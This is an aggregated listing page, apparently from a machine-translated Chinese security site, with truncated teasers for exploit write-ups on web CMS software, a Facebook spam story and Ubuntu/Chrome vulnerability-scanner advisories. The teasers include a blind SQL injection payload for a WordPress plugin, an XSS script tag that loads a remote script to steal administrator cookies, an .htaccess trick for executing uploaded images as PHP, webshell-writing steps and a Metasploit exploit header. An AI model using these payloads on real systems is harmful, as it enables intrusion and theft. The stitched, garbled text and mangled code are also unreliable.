Shady ChatSend App Linked to Facebook Spamming Activity

Security experts are warning Facebook users about a shady file-sharing application called ChatSend that has been linked to spammy e-mail and wall posts from the accounts of Facebook users who download it. According to a report by GFI Labs, questionable messages that link to ChatSend’s Facebook pa...

Assi website promotion system 4.0 injection vulnerability-vulnerability warning-the black bar safety net

Title: Assi website promotion system 4.0 injection vulnerability Time: 2011-10-29 Team:90sec Author: mer4en7y POST data is not filtered: if$post=="post" $dizhi=$POST'dizhi'; $youbian = $POST'youbian'; $qq = $POST'qq'; $dianhua = $POST'dianhua'; $shenfenzheng = $POST'shenfenzheng';...

New breakthrough fckeditor vulnerability-vulnerability warning-the black bar safety net

After testing, this method through the kill asp, aspx version, not for php. Before the many ways, such as uploading. asp and other types of files; create. asp, etc. directory...... Today encountered a fck editor, followed before a lot of times like, the above methods to no avail. Create. asp; the...

ecshop 2.6 x background write shell 0day-vulnerability warning-the black bar safety net

The relevant variable is not filtered, resulting in the submission of data to write into shell holes. Vulnerability file: admineditlanguages.php The relevant variable is not filtered! elseif $REQUEST'act' == 'edit' / Language items of the path / $langfile = isset$POST'filepath' ?...

XYCMS law firm built Station system 1.1 upload vulnerability-vulnerability warning-the black bar safety net

Source code description: XYCMS law firm built Station system contains firm profile, lawyers style, news centre, service areas, typical cases, legal advice, qualification, contact us section. Background function: Enterprise information management: including basic information management, adding,...

DEDECMS full version gotopage variable XSS ROOTKITS, 0DAY-vulnerability warning-the black bar safety net

Affected versions: DEDECMS full version The vulnerability described in: DEDECMS background landing template gotopage variable is not tested incoming data, leading toXSSvulnerabilities. \dede\templets\login.htm 6 5 the left and right input type="hidden" name="gotopage" value="? php if!...

08CMS novel search-injected - scripts vulnerability-vulnerability warning-the black bar safety net

By: thexiaoCon A large cow, don't shoot the bricks, for the first time. | The following is quoted fragment: //Search for the word pre-processing $searchword = empty$searchword ? ": cutstrtrim$searchword,5 0,"; $da'searchword' = $searchword; if$searchword $filterstr .= $filterstr ? '&' :...

Google Chrome < 13.0.782.220 Untrusted CA

The version of Google Chrome installed on the remote host is earlier than 13.0.782.220. Due to a recent attack against certificate authority DigiNotar, Google has added explicit distrust to the DigiNotar root certificate and several intermediates in this version of Google Chrome. Note this is a...

Discuz 1.5 with NGINX secondary analytical proof path BUG-vulnerability warning-the black bar safety net

Author: Sunny small cast Test environment: discuz X1. 5+nginx 1.0 漏洞 文件 source/function/functioncore.php that code: $G'setting''domain''app''default' && $content = pregreplace"/a href="^"+"/e", "rewriteoutput'sitedefault', 0, '".$ G'setting''domain''app''default'.$ port.$ G'siteroot'."',...

syWebEditor upload vulnerability and a use of the method and fix-vulnerability warning-the black bar safety net

1,online streaming the syWebEditor upload vulnerability, but still using the analytical vulnerability to work, but in most cases, We found upload 1. asp;2. gif file 变成 了 1.asp2.gif, where“;”is filtered out...

Plugin for WordPress SH Slideshow <= 3.1.4 SQL injection flaws and fixes-vulnerability warning-the black bar safety net

Title: WordPress SH Slideshow plugin Affected version: 3.1.4 tested --------------- Test method --------------- /wp-content/plugins/sh-slideshow/ajax.php id=-1 AND 1=IF21,BENCHMARK5 0 0 0 0 0 0,MD5CHAR115,113,108,109,97,112,0--%2 0 --------------- Defect code analysis --------------- $result =...

PHPEIP CMS local include vulnerability-vulnerability warning-the black bar safety net

Test version: PHPEIP Content Management System CMS 2 0 1 0 Vulnerabilities page: member/ajax.php errorreporting0; if! defined‘PHPEIPAJAXHEADER’ chdir‘../’; require‘includes/applicationtop.php’; define‘PHPEIPAJAXHEADER’,"member/ajax.php’; requireonceDIRFSROOT.”xajax/xajax.inc.php”; $xajax = new...

FCKeditor editor full version alternative upload vulnerability-vulnerability warning-the black bar safety net

FCKeditor all versian Arbitrary File Upload Vulnerability Published: 2 0 1 1 Source address:http://sourceforge. net/projects/fckeditor/ Vulnerability author: pentesters. ir Using the steps of: 1. Create a. htaccess file: Code content: FilesMatch “php.gif” SetHandler application/x-httpd-php...

phpcms 2 0 0 8 sp4 comment. php page SQL injection vulnerability analysis-vulnerability warning-the black bar safety net

phpcms 2 0 0 8 sp4 comment. the php pageSQL injectionvulnerability analysis Published date: 2010-08. 1 4 Published date: 2010-08. 1 4 Publishing author: failure Aberdeen Affected versions: phpcms 2 0 0 8 sp4 Official address: www.phpcms.cn Vulnerability description: The...

The latest MetInfo enterprise website management system V4. 0 XSS 0Day-vulnerability warning-the black bar safety net

Author: Noevil Post To: T00ls.Net Using the method, the online message: Name fill: NoevilSCRIPT SRC="HTTP://xxx/xss.js"/SCRIPT Content: feel free. Background the administrator to view the messages list, and automatically intercepts the Cookie, the NoXss will try to Keep Session Landing back to ta...

Firefox remote code execution vulnerability Firefox 3.6.16-vulnerability warning-the black bar safety net

Firefox 3.6.16 OBJECT mChannel Remote Code Execution Exploit DEP bypass CVE:2011-0065 OSVDB:7 2 0 8 5 URL:https://bugzilla. mozilla. org/showbug. cgi? id=6 3 4 9 8 6 http://www.mozilla.org/security/announce/2011/mfsa2011-13.html ExploitMSF 1 7 6 1 2. rb: require 'msf/core' class Metasploit3...

Ubuntu Update for icedtea-web USN-1178-1

Ubuntu Update for Linux kernel vulnerabilities USN-1178-1 OpenVAS Vulnerability Test $Id: gbubuntuUSN11781.nasl 7964 2017-12-01 07:32:11Z santu $ Ubuntu Update for icedtea-web USN-1178-1 Authors: System Generated Check Copyright: Copyright c 2011 Greenbone Networks GmbH, http://www.greenbone.net...

Ubuntu: Security Advisory (USN-1178-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

CKXP online bookstore injection vulnerability-vulnerability warning-the black bar safety net

Tool table:shopadmin added field:admin Background:admin/login. asp After login access:admin/editfile. asp? act= write directly to the horse. It can also be transmitted directly horse:admin/upfile1. asp? path=/ inurl:book. asp please use the domain name access to this site does not mean that we...

Ubuntu 10.04 LTS / 10.10 / 11.04 : icedtea-web, openjdk-6, openjdk-6b18 vulnerabilities (USN-1178-1)

Omair Majid discovered that an unsigned Web Start application or applet could determine the path to the cache directory used to store downloaded class and jar files by querying class loader properties. This could allow a remote attacker to discover a user's name and home directory path...